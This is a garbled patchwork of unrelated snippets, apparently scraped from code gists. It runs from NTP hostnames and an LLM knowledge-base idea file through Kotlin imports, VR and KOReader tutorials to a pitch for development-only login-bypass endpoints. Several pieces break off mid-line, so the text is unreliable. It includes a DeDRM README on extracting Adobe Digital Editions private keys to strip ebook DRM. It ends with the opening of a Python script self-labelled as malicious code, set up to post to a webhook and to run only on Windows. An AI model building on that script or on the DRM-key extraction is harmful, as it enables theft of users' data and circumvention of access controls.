time.google.com
time1.google.com
time2.google.com
time3.google.com
A pattern for building personal knowledge bases using LLMs.
This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.
Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.
| package com.vlsch.designsys.ui.util | |
| import androidx.compose.runtime.Stable | |
| import androidx.compose.runtime.getValue | |
| import androidx.compose.runtime.mutableIntStateOf | |
| import androidx.compose.runtime.mutableStateOf | |
| import androidx.compose.runtime.setValue | |
| import androidx.compose.runtime.snapshotFlow | |
| import androidx.compose.runtime.withFrameNanos | |
| import androidx.compose.ui.Modifier |
| Convenient DeDRM Scripts | |
| ------------------------- | |
| **NOTE**: read https://blog.quaintous.com/2021/02/16/remove-drm-from-ebooks/ to find out what this gist is good for. | |
| * ./init.sh: extracts Adobe Digital Editions private key and required files to DeDRM. | |
| * ./dedrm: removes DRM from given ebook (pdf/epub) | |
| If you are using this for the first time, make sure that you have authenticated your Adobe Digital Editions (ADE) and run './init.sh'. Import any DRM-protected file into ADE and run 'dedrm.sh': |
2025-04-27: The way I play VR games wirelessly on Linux e.g. from Steam is to use WiVRn (a fork of Monado) via the Envision orchestrator.
Here's the path I followed to get it working with my Meta Quest 3S:
Download the appImage as linked from the Envision page of the Linux VR Adventures wiki.
Launch Envision from the terminal (so that you can see its console messages). In the GUI at the bottom is a combo box. Select WiVRn as the desired system. Then at the top of the GUI is a button to configure and build it. You will likely need to apt install some prerequisites first. (2025-04-23) Envision wanted me to installed these packages for Lighthouse profile:
sudo apt install libeigen3-dev glslang-tools glslc libbsd-dev libdrm-dev \
libusb-1.0-0 libusb-1.0-0-dev libx11-xcb-dev libxcb-So, you've been using KOReader on your phone, jailbroken Kindle, or some other device, and realized you want to have some functionality that's not built into it. You've probably looked around in the #koplugin tags on Github, and there wasn't one that met your needs. Good news: KOReader is easily extendable with Lua, you can make your own plugin somewhat easily, provided you know some Lua or are willing to learn the basics!
In this post, we'll go over what you need to set up to make your plugin, and write a basic "Hello World" plugin. For in-depth reference on KOReader's Lua components and examples of more complicated plugins, please look at the source code over at [[their github repo]]. We will briefly go over some basics of Lua here, but this is not a Lua tutorial. Please refer to the [[Lua documentation]] if you want to know more.
Programming without in-editor hints and context-aware autocomplete isn't the best experience, so let's start by setting
Stop AI agents from fumbling with login forms. This prompt helps you create development-only endpoints that let browser automation tools authenticate instantly.
When using AI agents with browser automation (agent-browser, Playwright MCP, Claude's computer use, Cursor's browser mode), they hit login walls and waste time filling out forms, handling redirects, and losing session state.
| # Malicious code - use for educational purposes only | |
| _webhook_link = "WEBHOOK URL HERE" | |
| import os | |
| if os.name != "nt": | |
| exit() | |
| from re import findall | |
| from json import loads, dumps | |
| from base64 import b64decode |